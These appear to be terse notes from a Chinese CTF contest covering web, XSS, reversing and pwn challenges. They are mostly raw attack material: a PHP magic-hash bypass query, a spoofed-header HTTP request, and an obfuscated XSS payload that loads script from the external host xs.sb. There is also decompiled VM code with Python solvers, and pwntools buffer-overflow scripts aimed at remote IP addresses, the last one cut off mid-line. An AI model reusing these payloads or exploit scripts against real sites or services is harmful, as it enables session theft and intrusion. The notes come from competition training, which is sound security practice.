能受天磨真铁汉,不遭人嫉是庸才
Web
/?a1=240610708&a2=QNKCDZO&b1[]=1&b2[]=2&time=8e88
POST /?fruit=apple HTTP/1.1 Host: eci-2zejaarzxxkx8pqk0lcy.cloudeci1.ichunqiu.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Http_1s_W0nd3rful X-Forwarded-For:127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; browse=CFlaTxUYU0BaV1tCVQJTRFBZSkdeQ1lYWVtFR1dRW0VTUF5PW0VLTgBZXUNbQVxOGllZTFRTW0VbU0VFVlxbTElRWE9dRlNFWUFTCA; UM_distinctid=17438c3cfd544-084b5559307959-7d7f582e-1fa400-17438c3cfd72a; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1599213575,1599230970,1599234684,1599267160; ci_session=4d0653e1d49e44a2ee608a388cea4c1195a1ba76; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1599290610; __jsluid_h=0f528e9a32a83f24c021a258d97f97ca Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16 vegetable=potato
XSS
<scrsCrIptipt srC=//xs.sb/pQBd></scrisCRipTpt>
/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21
int __cdecl sub_20000(int a1, int a2) { int result; // eax int i; // [esp+50h] [ebp-64h] int v4; // [esp+54h] [ebp-60h] int v5; // [esp+58h] [ebp-5Ch] int v6; // [esp+5Ch] [ebp-58h] int v7; // [esp+60h] [ebp-54h] int v8[20]; // [esp+64h] [ebp-50h] v4 = 0; v5 = 0; v6 = 0; v7 = 0; while ( 2 ) { switch ( *(unsigned __int8 *)(v7 + a2) ) { case 0xF0u: v8[v6++] = *(unsigned __int8 *)(v5 + a1); ++v7; continue; case 0xF1u: *(_BYTE *)(v5 + a1 - 1) = v8[--v6]; ++v7; continue; case 0xF2u: v4 = v8[--v6]; ++v7; continue; case 0xF3u: v4 += *(unsigned __int8 *)(v7 + a2 + 1); v7 += 2; continue; case 0xF4u: *(&v7 + v6) ^= v4; ++v7; continue; case 0xF5u: ++v5; ++v7; continue; case 0xF6u: if ( *(&v7 + v6) && *(&v7 + v6) != 10 ) ++v7; else v7 += 3; continue; case 0xF7u: for ( i = 0; *(_BYTE *)(i + a1); ++i ) ; result = v5; if ( v5 != i ) { v7 = 0; continue; } return result; default: continue; } } }
:
f = open('a.in') s = f.readline() i = 0 n = [] while i < len(s): n.append(int(s[i:i+2],16)) print int(s[i:i+2],16) i = i + 3 for i in range(len(n)-1-1,-1,-1): n[i] = (n[i] ^ n[i+1] )-1 flag = '' for i in range(len(n)): flag += chr(n[i]) print flag
def dfs(n,dep,step): if flag: return if n == 66: print step exit(0) if dep == 12: return if n > 66: return dfs(3,dep+1,step+'a') dfs(n+4,dep+1,step+'b') dfs(n*7,dep+1,step+'c') dfs(n//5,dep+1,step+'d') dfs(0,0,'')
from pwn import * # io = process('./pwn') io = remote('182.92.184.215',12345) name = 'A' * (0x409F - 0x4060 + 1) + p32(1) io.sendlineafter('start:',name) success('lxy') ''' payload = 'abbdbcbbbbbb' for i in range(len(payload)): io.sendafter('> ',payload[i]) sleep(0.1) ''' io.interactive()
URL
from pwn import* #io = process('./pwn') io = remote('182.92.184.215',34521) elf = ELF('./pwn') def lauch_gdb(io): context.log_level = 'debug' gdb.attach(io) #lauch_gdb(p) io.sendlineafter("(protocol):",'A'*0x39+'